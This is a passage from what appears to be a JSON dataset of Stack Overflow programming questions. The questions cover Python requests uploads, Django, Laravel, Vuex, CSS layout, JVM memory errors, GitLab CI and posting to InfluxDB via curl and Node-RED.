10.11.6)</p>\n\n<p>This curl command in terminal works fine: <code>curl -F 'file=@/path/to/file.csv' myurl.com/upload -H \"Authorization: TOKEN sometoken\"</code></p>\n\n<p>A multipart/form-data POST request from Postman also works, but I can't seem to make it work with the python requests library.</p>\n\n<p>I've tried many variations of this request:</p>\n\n<pre><code>import requests\nheaders = {'Authorization': 'TOKEN sometoken', 'Content-Type': 'multipart/form-data'}\n\nwith open(file_path, 'rb') as f:\n r = requests.post(myurl, headers=headers, data=f)\n\n## I've also tried data={\"file\": f}\n</code></pre>\n\n<p>I get a status code of 200, but the response is <code>{\"success\": \"false\"}</code> (frustratingly unhelpful).</p>\n\n<p>What am I missing in the python request compared to the curl request?</p>\n\n<p><strong>EDIT:</strong> it seems that the <code>-F</code> flag for the <code>curl</code> command emulates an HTML form that has been submitted...is there a way to do this with requests?</p>\n"},{"Classification":"","Title":"Disruption during Gzip - Would it damage the file content?","Body":"<p>Please assume, we execute <code>gzip</code> or <code>gunzip</code> on a relatively large text file (>1GB) or files as such within a directory. During the process, either mistakenly or intentionally the process is killed.</p>\n\n<p>Is there any risk that the original content of the files is damaged? If so, is there an advisable practice for executing <code>gzip</code>/<code>gunzip</code> differently, e.g. with certain options, or do we need to wait until <code>gzip</code>/<code>gunzip</code> finalises its execution?</p>\n"},{"Classification":"","Title":"Formatting of lombok generated code","Body":"<p>My Java constants class contains the following line:</p>\n\n<pre><code>public static final List&lt;String&gt; VALID_SUBMISSION_CONTEXT_TYPE_STRINGS = Stream.of(SubmissionContextType.values())\n .map(Enum::name)\n .collect(Collectors.toList());\n</code></pre>\n\n<p>My checkstyle configuration has a line length limit of 120 characters, and the above line is within this limit.</p>\n\n<p>I also use lombok @NoArgsConstructor(access = AccessLevel.PRIVATE) on this constants class. The generated lombok code is:</p>\n\n<pre><code>public static final List&lt;String&gt; VALID_SUBMISSION_CONTEXT_TYPE_STRINGS = Stream.of(SubmissionContextType.values()).map(Enum::name).collect(Collectors.toList());\n</code></pre>\n\n<p>This exceeds 120 characters on the line and causes checkstyle to fail.</p>\n\n<p>Is there a way to tell lombok to restrict the length of lines in the generated code, or to preserve the whitespaces from the source code?</p>\n"},{"Classification":"","Title":"How do I change a value in django on button click in HTML?","Body":"<p>I am trying to implement a function in which when I click on Activate button, the value in my Django database for this field changes to 'Active' and is displayed on the HTML page as active. If deactivate is clicked, the text changes to deactive along with it's value in the django database.</p>\n\n<p>This is my current HTML page:</p>\n\n<pre><code> &lt;div class=\"col-sm-5\"&gt;\n &lt;div class=\"panel panel-primary\"&gt;\n &lt;div class=\"panel-heading\"&gt;\n &lt;h3 class=\"panel-title\"&gt;Job activation status&lt;/h3&gt;\n &lt;/div&gt;\n &lt;div class=\"panel-body\"&gt;\n &lt;b&gt;Status&lt;/b&gt;: Active\n &lt;span style=\"padding-left:20px;\"&gt;&lt;/span&gt;\n &lt;button type=\"button\" class=\"btn btn-primary\"&gt;Activate&lt;/button&gt;\n &lt;button type=\"button\" class=\"btn btn-primary\"&gt;Deactivate&lt;/button&gt;\n &lt;button type=\"button\" class=\"btn btn-primary\"&gt;Dissolve&lt;/button&gt;\n\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n</code></pre>\n\n<p>And my models.py is as follows:</p>\n\n<pre><code>class Job(models.Model):\n def __unicode__(self):\n return self.name\n name = models.CharField('Job Name',max_length=128)\n # when the job was created\n date_created = models.DateTimeField('Date Created', auto_now=True)\n # what entity/organization needs this job?\n client_organization = models.CharField('What organization do you represent?', max_length=64)\n # short description\n description = models.TextField('Job Description', max_length=256)\n # end product to be delivered\n deliverable = models.TextField('Deliverable', max_length=256)\n # when Job is due for completion\n duedate = models.DateTimeField('Date Due')\n # all persons who may be affected by project\n #stakeholders = models.TextField('Stakeholders')\n # important technical requirements\n #additional_information = models.TextField('Additional Information', blank = True)\n # budget estimate\n #budget = models.CharField('Budget', max_length=64)\n # file attachments\n #attachments = models.FileField(upload_to='job', blank = True)\n creator = models.ForeignKey(User,related_name = 'jobs')\n organizations = models.ManyToManyField(Organization, through = 'JobRequest', blank=False, null=True)\n #organizations = models.CharField(default=\"nothing\",null=True,max_length = 256)\n contact_information = models.CharField('Contact Information', max_length = 256, blank = False, null=True)\n skill_required = models.CharField('Volunteer skills required', max_length=256, blank = False, null=True)\n hours_day = models.CharField('Number of hours per day', max_length=256, blank = False, null=True)\n # Job is closed after a jr is confirmed\n closed = models.BooleanField(default = False)\n # some tags to determine what organizations to submit job to\n categories = models.ManyToManyField(Category, related_name = 'jobs')\n #categories = models.CharField(default=\"nothing\",null=True, max_length = 256)\n status = models.IntegerField(default = 0, choices = ((0, 'Pending'), (1, 'Approved'), (2, 'Disapproved'), (3, 'Closed')))\n class Meta:\n permissions = (\n ( 'view_job','Can view Job' ),\n ( 'edit_job','Can edit Job'),\n ( 'is_creator', 'Is a creator of Job')\n )\n</code></pre>\n\n<p>I need help in adding a field to models.py which changes according to the button click in HTML and displays active/ deactive in the HTML page according to the button clicked. I also need help in modifying the HTML page accordingly </p>\n"},{"Classification":"","Title":"How to install llvm 5.0.0 for Mac using brew","Body":"<p>We used below to install llvm 3.9:</p>\n\n<pre><code>brew install --force-bottle llvm@3.9\n</code></pre>\n\n<p>This also installed clang at following location:</p>\n\n<pre><code>/usr/local/opt/llvm\\@3.9/bin/clang\n</code></pre>\n\n<p>What would be the command to install llvm 5.0 and the corresponding location for clang?</p>\n"},{"Classification":"","Title":"PHP: Producing HTML that is proper XML from DOM","Body":"<p>I have a case where I'm using the DOM classes to produce HTML, but I need the resulting HTML to be proper XML. How do I alter the following script to make it echo <code>&lt;br/&gt;</code> or <code>&lt;br /&gt;</code> instead of <code>&lt;br&gt;</code>?</p>\n\n<pre><code>$document = new \\DOMDocument();\n$element = $document-&gt;createElement('br');\n$document-&gt;appendChild($element);\n\n$nodes_xml = array();\nforeach ($document-&gt;childNodes as $node) {\n $nodes_xml[] = $document-&gt;saveHTML($node);\n}\n$result = implode(\"\\n\", $nodes_xml);\necho $result;\n</code></pre>\n\n<p>And what changes (if any) do I need to make to the following script to make sure that the result of the above script is always loaded properly, without adding any additional tags?</p>\n\n<pre><code>$dom = new \\DOMDocument();\nif (!$dom-&gt;loadHTML($result)) {\n echo \"Not properly formatted!\";\n}\n</code></pre>\n"},{"Classification":"","Title":"Laravel 5.6 Routing - Force language in the URL","Body":"<p>I am creating a multilingual app with Laravel 5.6. </p>\n\n<p>I want to force anything the URL to specifically use the language parameter. </p>\n\n<p>e.g </p>\n\n<pre><code>www.myapps.com/something/somethingelse/andmore...\n\nwould redirect to\n\nwww.myapps.com/**en**/something/somethingelse/andmore...\n</code></pre>\n\n<p>So far, </p>\n\n<p>I have used :</p>\n\n<pre><code> Route::prefix('{lang}')-&gt;group(function () {\n Route::get('/', 'HomeController@index')-&gt;name('welcome');\n Route::get('/XYZ', 'HomeController@XXXXFunction')-&gt;name('another');\n }); \n</code></pre>\n\n<p>But how do I force a redirect to a the language? </p>\n"},{"Classification":"","Title":"Tooling issues in the portable XAML files of Xamarin mobile project (2017)","Body":"<p>So, I'm a C++ developer poking around into C#/Xamarin (did some Silverlight back a while ago.) I'm using VS 2017, the released version. I think that the preview is acting the same.</p>\n\n<p>If I try to make changes to the main (porable) project versions the XAML files, I don't get a functional form previewer, it wants to use the live viewer simulating either Android or iOS. That's a lot slower and less convenient that just previewing the layout as I go, with alignment bars and all that. I do get the form previewer if I make changes in the UWP sub-project, but of course those then don't show up.</p>\n\n<p>Also, if I edit the portable XAML I get no error checking. If I edit the UWP XAML I get error checking, but that's useless for the same reason.</p>\n\n<p>So that all just doesn't make sense to me. Am I missing something? Why pre-generate the dups to begin with since we shouldn't need them other than for platform specific stuff, and why do the tools not work on the ones that we have to actually use?</p>\n"},{"Classification":"","Title":"How to return and display json data saved to database laravel","Body":"<p>In laravel I am saving input data to json to store it in database, but having trouble displaying the data out again.</p>\n\n<p>I am saving and updating the data as shown in the controller:</p>\n\n<pre><code>public function store(Request $request)\n{ \n $this-&gt;validate(request(), [\n 'start' =&gt; 'required',\n 'end' =&gt; 'required'\n ]);\n\n if (Auth::check()) {\n\n Myroutes::create([ //posting to myroutes table\n 'user_id' =&gt; Auth::user()-&gt;id,\n 'start' =&gt; $request-&gt;start,\n 'end' =&gt; $request-&gt;end,\n 'waypoints' =&gt; json_encode($request-&gt;waypoints)\n ]);\n return redirect('/my-saved-routes');\n } else {\n return redirect('/login');\n }\n}\n\n public function update(Request $request, $id)\n{ \n Myroutes::where('myroute_id', $id)\n -&gt;update(['start' =&gt; $request-&gt;input('start'),\n 'end'=&gt;$request-&gt;input('end'),\n 'waypoints'=&gt;$request-&gt;input('waypoints')]\n );\n return redirect('/my-saved-routes');\n}\n</code></pre>\n\n<p>Data is being input into individual input fields in showing.blade:</p>\n\n<pre><code>&lt;div id=\"dynamicInput\" class=\"form-group\"&gt;\n &lt;label&gt;Additional Destinations&lt;/label&gt;\n &lt;input type=\"text\" name=\"waypoints[]\" class=\"form-control\" autocomplete=\"on\"&gt;\n &lt;/div&gt;\n\n &lt;input type=\"button\" class=\"btn btn-secondary\" value=\"+\" onClick=\"addInput('dynamicInput');\" style=\"padding:0 10px;\"&gt; \n</code></pre>\n\n<p>And is being output in edit.blade:</p>\n\n<pre><code>&lt;div id=\"dynamicInput\" class=\"form-group\"&gt;\n &lt;label&gt;Additional Destinations&lt;/label&gt;\n &lt;input type=\"text\" name=\"waypoints\" class=\"form-control\" autocomplete=\"on\" value=\"{{ $myroute-&gt;waypoints }}\"&gt;\n &lt;/div&gt;\n</code></pre>\n\n<p>{{ $myroute->waypoints }} shows the entire json array and {{ $myroute->waypoints[0] }}\" shows only the first value which is [</p>\n\n<p>Database structure for reference:\n<a href=\"https://i.stack.imgur.com/jhPUC.png\" rel=\"nofollow noreferrer\">database</a></p>\n\n<p>Output currently showing as:\n<a href=\"https://i.stack.imgur.com/p560E.png\" rel=\"nofollow noreferrer\">output</a></p>\n\n<p>Want it to look like the following:\n<a href=\"https://i.stack.imgur.com/LFI3o.png\" rel=\"nofollow noreferrer\">expected</a></p>\n"},{"Classification":"","Title":"Running into an odd issue with postgres jdbc driver","Body":"<p>I am using the Postgres jdbc driver with pgpool. Running into this really odd issue which doesn't give me a lot of information on what its complaining about.\nHere is the stack trace. Any ideas on how to resolve this?</p>\n\n<pre><code>Apr 19, 2018 3:28:39 PM org.postgresql.jdbc.PgConnection &lt;init&gt;\nFINE: PostgreSQL JDBC Driver 42.1.4\nApr 19, 2018 3:28:39 PM org.postgresql.jdbc.PgConnection setDefaultFetchSize\nFINE: setDefaultFetchSize = 0\nApr 19, 2018 3:28:39 PM org.postgresql.jdbc.PgConnection setPrepareThreshold\nFINE: setPrepareThreshold = 0\nApr 19, 2018 3:28:39 PM org.postgresql.core.v3.ConnectionFactoryImpl openConnectionImpl\nFINE: Trying to establish a protocol version 3 connection to bdlgpmdev01.isus.emc.com:7500\nApr 19, 2018 3:28:39 PM org.postgresql.core.v3.ConnectionFactoryImpl openConnectionImpl\nFINE: Receive Buffer Size is 184,640\nApr 19, 2018 3:28:39 PM org.postgresql.core.v3.ConnectionFactoryImpl openConnectionImpl\nFINE: Send Buffer Size is 43,520\nApr 19, 2018 3:28:40 PM org.postgresql.jdbc.PgConnection isValid\nWARNING: Validating connection.\norg.postgresql.util.PSQLException: ERROR: invalid server parameter\n at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2477)\n at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:2190)\n at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:300)\n at org.postgresql.jdbc.PgStatement.executeInternal(PgStatement.java:428)\n at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:354)\n at org.postgresql.jdbc.PgPreparedStatement.executeWithFlags(PgPreparedStatement.java:169)\n at org.postgresql.jdbc.PgPreparedStatement.executeUpdate(PgPreparedStatement.java:136)\n at org.postgresql.jdbc.PgConnection.isValid(PgConnection.java:1311)`\n</code></pre>\n"},{"Classification":"","Title":"Out of Memory Error os_linux.cpp","Body":"<p>We had a production tomcat crash which generated a hss_err_pid file. This was the information in it-</p>\n\n<pre><code># There is insufficient memory for the Java Runtime Environment to continue.\n# Native memory allocation (mmap) failed to map 19327352832 bytes for committing reserved memory.\n# Possible reasons:\n# The system is out of physical RAM or swap space\n# In 32 bit mode, the process size limit was hit\n# Possible solutions:\n# Reduce memory load on the system\n# Increase physical memory or swap space\n# Check if swap backing store is full\n# Use 64 bit Java on a 64 bit OS\n# Decrease Java heap size (-Xmx/-Xms)\n# Decrease number of Java threads\n# Decrease Java thread stack sizes (-Xss)\n# Set larger code cache with -XX:ReservedCodeCacheSize=\n# This output file may be truncated or incomplete.\n#\n# Out of Memory Error (os_linux.cpp:2673), pid=12940, tid=140179071637248\n</code></pre>\n\n<p>As per my understanding , we were to look if its out of RAM or swap space . But that was not the case. Here is what the top command showed-</p>\n\n<pre><code> top - 10:14:58 up 4:44, 2 users, load average: 0.10, 0.14, 0.43\n Tasks: 2737 total, 0 running, 2737 sleeping, 0 stopped, 0 zombie\n Cpu(s): 5.9%us, 1.4%sy, 0.2%ni, 92.2%id, 0.1%wa, 0.0%hi, 0.3%si, 0.0%st\n Mem: 32130824k total, 18671312k used, 13459512k free, 22892k buffers\n Swap: 4194300k total, 0k used, 4194300k free, 180232k cached\n</code></pre>\n\n<p>Tomcat was consuming 17 GB out of its the total allocated 28 GB. Also Server had a 32 GB RAM. When i looked for similar issues, most of them were because the total xms allocated to JVM was more than what server had.Also there were no other OS process running that were consuming more memory. IS there any other reason that could justify this hs_err_pid log file ?</p>\n"},{"Classification":"","Title":"JSON Object copy in Vuex getter","Body":"<p>I'm finding some strange behavior with JSON in a Vuex getter: it seems it is contributing to a pass-by-reference type of problem. For context - I'm developing a music app, which will have multiple \"scenes\", which each include collections of \"tracks\" (similiar to Ableton Live). </p>\n\n<p>Here's my getter:</p>\n\n<pre><code> newTrack: state =&gt; {\n let newTrack = JSON.parse(JSON.stringify(state.newTrackDefaults))\n return newTrack\n },\n</code></pre>\n\n<p>Here's the object it refers to:</p>\n\n<pre><code> newTrackDefaults: {\n tune: [],\n // and other properties\n },\n</code></pre>\n\n<p>And then it is called by an action:</p>\n\n<pre><code> setUpNewScene: context =&gt; {\n let newScene = JSON.parse(JSON.stringify(context.state.newSceneDefaults))\n let newTrack = context.getters.newTrack \n console.log(newTrack) // this reveals that the problem is from the getter \n newScene.tracks.push(newTrack)\n context.commit('addNewScene', newScene)\n }\n</code></pre>\n\n<p>So the problem with this code is, when I add items (pitch-references) to a track on the first scene, then added a new scene, the <em>new</em> scene automatically receives the same track as the <em>first</em> scene. This is reflected in the Vuex state (according to the DevTool), not just the rendering. Also, when the tracks on the first scene are updated by the user, the tracks on the new scene change accordingly. So instinctively, this feels like a pass-by-reference type of error.</p>\n\n<p>Through various <code>console.log</code> experiments, I found that the getter was returning the \"filled\" track. It's fixable by skipping the getter and writing the action as: </p>\n\n<pre><code> setUpNewScene: context =&gt; {\n let newScene = JSON.parse(JSON.stringify(context.state.newSceneDefaults))\n let newTrack = JSON.parse(JSON.stringify(context.state.newTrackDefaults))\n console.log(newTrack) // this works fine\n newScene.tracks.push(newTrack)\n context.commit('addNewScene', newScene)\n }\n</code></pre>\n\n<p>... so though I have a fix, I'm puzzled as to the original behavior. Would the getter interfere with the <code>JSON</code> functions? Or what else might be going on to cause this? </p>\n"},{"Classification":"","Title":"HighCharts Custom SVG Marker Symbol","Body":"<p>Based on the <a href=\"https://api.highcharts.com/highcharts/plotOptions.series.marker.symbol\" rel=\"nofollow noreferrer\">Highcharts documentation</a> you can create your own point marker by defining a custom callback for an (SVG-based) symbol path. </p>\n\n<p>However, what if you need to get at the underlying series data from within the symbol prototype function? Is that possible?</p>\n\n<p>For instance: </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>Highcharts.SVGRenderer.prototype.symbols.cross = function (x, y, w, h) {\n\n // I want to be able to access the series data from here. \n // Either the point data or the entire series' data array.\n \n return ['M', x, y, 'L', x + w, y + h, 'M', x + w, y, 'L', x, y + h, 'z'];\n};\n\nif (Highcharts.VMLRenderer) {\n Highcharts.VMLRenderer.prototype.symbols.cross = Highcharts.SVGRenderer.prototype.symbols.cross;\n}\n\n\nHighcharts.chart('container', {\n\n title: {\n text: 'Demo of predefined, image and custom marker symbols'\n },\n\n legend: {\n y: -40 // make room for subtitle\n },\n\n xAxis: {\n categories: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n },\n\n series: [{\n name: 'Custom symbol',\n data: [54.4, 29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6],\n marker: {\n symbol: 'cross',\n lineColor: null,\n lineWidth: 2\n }\n }],\n\n credits: {\n enabled: false\n },\n\n subtitle: {\n text: '*) Base64 not supported in IE6 and IE7',\n verticalAlign: 'bottom',\n align: 'right',\n y: null,\n style: {\n fontSize: '10px'\n }\n }\n});</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://code.highcharts.com/highcharts.js\"&gt;&lt;/script&gt;\n&lt;script src=\"https://code.highcharts.com/modules/exporting.js\"&gt;&lt;/script&gt;\n&lt;div id=\"container\" style=\"height: 400px; max-width: 800px; margin: 0 auto\"&gt;&lt;/div&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"Deep state redirects for Angular4+","Body":"<p>is there any library which can help implementation of Deep State Redirects in Angular 4+.\nBasically looking for exactly like <a href=\"https://github.com/ui-router/dsr\" rel=\"nofollow noreferrer\">https://github.com/ui-router/dsr</a> in Angular 4+</p>\n\n<blockquote>\n <blockquote>\n <p>With Deep State Redirect, a parent state remembers whatever child state was last activated. When the user directly reactivates the parent state, they are redirected to the nested state (which was previously activated).</p>\n </blockquote>\n</blockquote>\n"},{"Classification":"","Title":"Use different tokenizer on indices in neo4j fulltext-search","Body":"<p>Neo4j 3.3.5 and apoc currently only support the indexing types 'exact' and 'fulltext'. The difference is that 'fulltext' applies a whitespace-tokenizer (as cited <a href=\"https://neo4j.com/docs/java-reference/3.1/indexing/#indexing-create-advanced\" rel=\"nofollow noreferrer\">here</a>). We would like to use a edge NGram tokenizer instead to increase the search performance. Our workaround would be to use solr for the search instead and sync all the data. This is far from optimal as it increases the complexity of our application. Is there a way to change the default tokenizer for indices of neo4j? If no, are there any plans in the future to add those?</p>\n"},{"Classification":"","Title":"Site doesn't fit the viewport","Body":"<p>I am running into some issues with resizing of the window (shrinking). When I shrink it down, the background colors no longer stay at the edge of the viewport, and content goes beyond it. </p>\n\n<p>I thought that setting the <code>width</code> on the entire <code>body</code> to <code>100%</code> would fix that, but it didn't?</p>\n\n<p>Here is a <a href=\"https://jsfiddle.net/ao0zk5vs/#&amp;togetherjs=7noKxxhURL\" rel=\"nofollow noreferrer\">JSFiddle</a> of my current code, for the index page and the stylesheet:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>* {\n margin: 0;\n padding: 0;\n}\n\nbody {\n font-family: Segoe UI, helvetica, arial;\n display: flex;\n flex-direction: column;\n min-height: 100vh;\n font-size: 18px;\n width: 100%;\n}\n\na {\n color: hsl(344, 69%, 70%);\n font-weight: bold;\n}\n\na:hover {\n text-decoration: none;\n color: #67c3b2;\n}\n\n.menu-container {\n background-color: rgba(150, 150, 150, 0.2);\n padding: 20px 0;\n display: flex;\n justify-content: center;\n text-transform: uppercase;\n width: 100%;\n}\n\n.menu {\n width: 90%;\n display: flex;\n top: 10px;\n justify-content: space-between;\n font-size: 16px;\n overflow: hidden;\n position: relative;\n left: 10px;\n}\n\n.header-container {\n background-color: rgba(150, 150, 150, 0.2);\n display: flex;\n justify-content: center;\n height: 30px;\n width: 100%;\n position: relative;\n}\n\n.logo {\n position: relative;\n bottom: 37px;\n z-index: 1;\n}\n\n.flex-container {\n display: flex;\n justify-content: center;\n}\n\n.flex-container p {\n position: relative;\n margin-left: 40px;\n margin-right: 40px;\n font-weight: bold;\n top: 40px;\n margin-top: 40px;\n text-align: center;\n}\n\n.main {\n display: flex;\n color: #464646;\n background: linear-gradient(to right, #77C9D4, #57BC90);\n flex: 1;\n}\n\n.cakelist {\n position: relative;\n bottom: 50px;\n display: flex;\n font-weight: bold;\n list-style-position: inside;\n margin-top: 130px;\n}\n\n.cakelist ol,\ntable {\n margin-left: 25px;\n}\n\n.cakelist h2 {\n margin-left: 25px;\n margin-top: 20px;\n}\n\n.carousel {\n color: #464646;\n top: 80px;\n position: relative;\n display: flex;\n justify-content: center;\n border: 3px outset gray;\n align-items: center;\n padding: 60px 60px 60px 60px;\n}\n\n.buttons {\n position: relative;\n width: 1600px;\n margin-right: 25px;\n justify-content: space-around;\n display: flex;\n top: 160px;\n text-align: center;\n}\n\n.button a:hover {\n opacity: 0.2;\n}\n\n.buttons p {\n margin-top: 20px;\n}\n\n.buttons img {\n padding-top: 25px;\n height: 200px;\n}\n\n.gallery {\n position: relative;\n top: 80px;\n}\n\n.pricing {\n display: flex;\n position: relative;\n top: 80px;\n justify-content: center;\n flex-direction: column;\n padding-bottom: 140px;\n}\n\n.pricing p,\nh1 {\n margin-left: 250px;\n text-align: left;\n margin-top: 5px;\n}\n\n.pricing span {\n opacity: 0;\n user-select: none;\n}\n\n.order {\n position: relative;\n border-radius: 5px;\n background: hsl(344, 69%, 70%);\n top: 20px;\n margin-top: 60px;\n padding: 5px;\n}\n\n#order-link {\n color: white;\n text-decoration: none;\n}\n\n.order-button {\n width: 180px;\n margin-left: auto;\n margin-right: auto;\n text-align: center;\n}\n\n.footer-container {\n display: flex;\n justify-content: flex-end;\n align-items: center;\n background: #9A9A9A;\n height: 90px;\n max-height: 90px;\n}\n\n.footer-logo {\n height: 80px;\n position: relative;\n right: 10px;\n}\n\n.subscribe {\n border-radius: 25px;\n background: hsl(344, 69%, 70%);\n padding: 5px 20px 5px 20px;\n width: 80px;\n}\n\n#subscribe-link {\n position: relative;\n color: white;\n text-decoration: none;\n right: 40px;\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"menu-container\"&gt;\n &lt;div class=\"menu\"&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"about.html\" target=\"_self\"&gt;About Us&lt;/a&gt;&lt;/div&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"cakes.html\" target=\"_self\"&gt;Cakes&lt;/a&gt;&lt;/div&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"cupcakes.html\" target=\"_self\"&gt;Cupcakes&lt;/a&gt;&lt;/div&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"gallery.html\" target=\"_self\"&gt;Gallery&lt;/a&gt;&lt;/div&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"ordering.html\" target=\"_self\"&gt;Prices/Order&lt;/a&gt;&lt;/div&gt;\n &lt;div class=\"flex-item\"&gt;&lt;a href=\"search.html\" target=\"_self\"&gt;Search&lt;/a&gt;&lt;/div&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n\n&lt;header class=\"header-container\"&gt;\n &lt;a href=\"index.html\" target=\"_self\"&gt;&lt;img src=\"TCCLogo.png\" class=\"logo\" /&gt;&lt;/a&gt;\n&lt;/header&gt;\n\n&lt;div class=\"flex-container main\"&gt;\n\n &lt;div class=\"container\"&gt;\n &lt;div class=\"carousel\"&gt;\n Here is where I will have the quick gallery/carousel when I get to JS.\n &lt;/div&gt;\n\n &lt;div class=\"buttons\"&gt;\n &lt;div class=\"button\"&gt;\n &lt;a href=\"cakes.html\"&gt;&lt;img src=\"cake.png\" /&gt;&lt;/a&gt;\n &lt;p&gt;Check out our delicious cake options!&lt;/p&gt;\n &lt;/div&gt;\n &lt;div class=\"button\"&gt;\n &lt;a href=\"cupcakes.html\"&gt;&lt;img src=\"cupcake.png\" /&gt;&lt;/a&gt;\n &lt;p&gt;Check out our delicious cupcake options!&lt;/p&gt;\n &lt;/div&gt;\n &lt;div class=\"button\"&gt;\n &lt;a href=\"ordering.html\"&gt;&lt;img src=\"prices.png\" /&gt;&lt;/a&gt;\n &lt;p&gt;Check out our competitive pricing!&lt;/p&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n\n&lt;footer class=\"footer-container\"&gt;\n &lt;a id=\"subscribe-link\" target=\"_blank\" href=\"#\"&gt;\n &lt;div class=\"subscribe\"&gt;\n &lt;p&gt;Subscribe&lt;/p&gt;\n &lt;/div&gt;\n &lt;/a&gt;\n &lt;img src=\"TCCLogo.png\" class=\"footer-logo\" /&gt;\n&lt;/footer&gt;</code></pre>\n</div>\n</div>\n</p>\n\n<p>I have tried going through my stylesheet, changing the widths on anything I have set with pixels to percentages, but it didn't seem to fix it. The only thing that -sort of- worked was changing the body position to fixed, but then none of the content was view-able if it got shrunk down, all it fixed was keeping the background/header/footer colors the same. </p>\n\n<p>I imagine maybe my coding is a bit messy - I tried my best to be extensible, but being 100% new at this made it difficult. </p>\n"},{"Classification":"","Title":"Azure WebJob not passing arguments","Body":"<p>I have a console app published to Azure as a web app with WebJob. The webjob properties list the webhook and it is running. I am testing with Postman and passing the argument(s) using the prescribed url query method. I get a 202 response, and the webjob log shows success, but I can see that no arguments are processed when the app is executed. This should be working, but it is not. My app works as a standalone executable from command line with arguments.</p>\n\n<p>request url: <code>https://myapp.scm.azurewebsites.net/api/triggeredwebjobs/MyWebJob/run?arguments={my arguments}</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/unmsB.png\" rel=\"nofollow noreferrer\">WebJob Log Success</a></p>\n"},{"Classification":"","Title":"Determining Time and Space Complexity of program","Body":"<p>So I had a coding challenge for an internship and part of it was to determine the space and time complexity of my program. The program was roughly as follows.</p>\n\n<pre><code>while(A){\n int[][] grid;\n // additional variables\n\n while(B){ //for loop involves iterating through grid\n // additional variables\n for(...) \n for(....)\n }\n\n for(...) //for loop involves iterating through grid\n for(....)\n}\n</code></pre>\n\n<p>So what I said was that the program overall has time complexity of (A<em>N^2+B</em>N^2), therefore concluding that it has an amortized time of O(N^2).</p>\n\n<p>As for the space complexity, was I supposed to sum the number space used by all variables? Assuming every variable is an int and there is 3 in loop A and two in loop B would the space complexity be (A*24 + B*16)?</p>\n"},{"Classification":"","Title":"Gitlab CI Runner slow to complete job","Body":"<p>I've been using the GitLab CI runner on Windows for a couple of years now, and am wondering why it takes a long time between when the compile has actually completed before GitLab deems that the job has completed.</p>\n\n<p>Here's a few screen grabs to show what I'm talking about. This one shows that the compilation is complete:</p>\n\n<p><a href=\"https://i.stack.imgur.com/w8guz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/w8guz.png\" alt=\"enter image description here\"></a></p>\n\n<p>MSBuild is complete, so the build stage is complete. The 31 second time is the time it took MSBuild to finish, but there was another minute or so of getting packages from NuGet and Bower and NPM before that. Here's a picture of the current job running time:</p>\n\n<p><a href=\"https://i.stack.imgur.com/X0ZhX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/X0ZhX.png\" alt=\"enter image description here\"></a></p>\n\n<p>But then GitLab sits with the 3 dots for another two minutes or so before it decides the job has actually succeeded:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Mbqzz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Mbqzz.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/t9O8R.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t9O8R.png\" alt=\"enter image description here\"></a></p>\n\n<p>I turned on CI_DEBUG_TRACE but it didn't show much that seemed useful to me. I've also played around with caching and artifacts but turned them off because the artifacts were too big and it didn't significantly change the build time. Here's the .gitlab-ci.yml file:</p>\n\n<pre><code>stages:\n - build\n - test\n\nbefore_script:\n - '.nuget\\\\nuget.exe restore &lt;name&gt;.sln'\n - 'call bower install'\n - 'call npm install'\n - 'call gulp'\n\ncache:\n\nbuild:\n stage: build\n dependencies: []\n script:\n - '\"C:\\\\Program Files (x86)\\\\MSBuild\\\\14.0\\\\Bin\\\\MSBuild.exe\" &lt;name&gt;.sln /t:ReBuild /p:Configuration=Release'\n retry: 2\n\ntest:\n stage: test\n dependencies: []\n script:\n - '\"C:\\\\Program Files (x86)\\\\MSBuild\\\\14.0\\\\Bin\\\\MSBuild.exe\" &lt;name&gt;.sln /t:ReBuild /p:Configuration=Release'\n - \".\\\\packages\\\\xunit.runner.console.2.3.1\\\\tools\\\\net452\\\\xunit.console.exe UnitTest\\\\bin\\\\Release\\\\UnitTest.dll\"\n retry: 2\n</code></pre>\n\n<p>A couple of minutes doesn't seem too bad except it's happening with each stage in the pipeline, so it adds up quickly.</p>\n\n<p>In the past that 2-minute delay didn't happen, but I don't know what might have changed or what I might have done to cause it. The runner is the latest version.</p>\n\n<p>Any ideas or suggestions?</p>\n"},{"Classification":"","Title":"Node-red - Posting data to influxdb via http","Body":"<p>Im trying to post data to an Influxdb via Node-red.\nVia CURL i can post this:</p>\n\n<p><code>curl -i -XPOST 'http://localhost:8086/write?db=waterlevel' --data-binary 'vattenstand,lake=siljan,region=dalarna value=160.80'</code></p>\n\n<p>and it puts data to 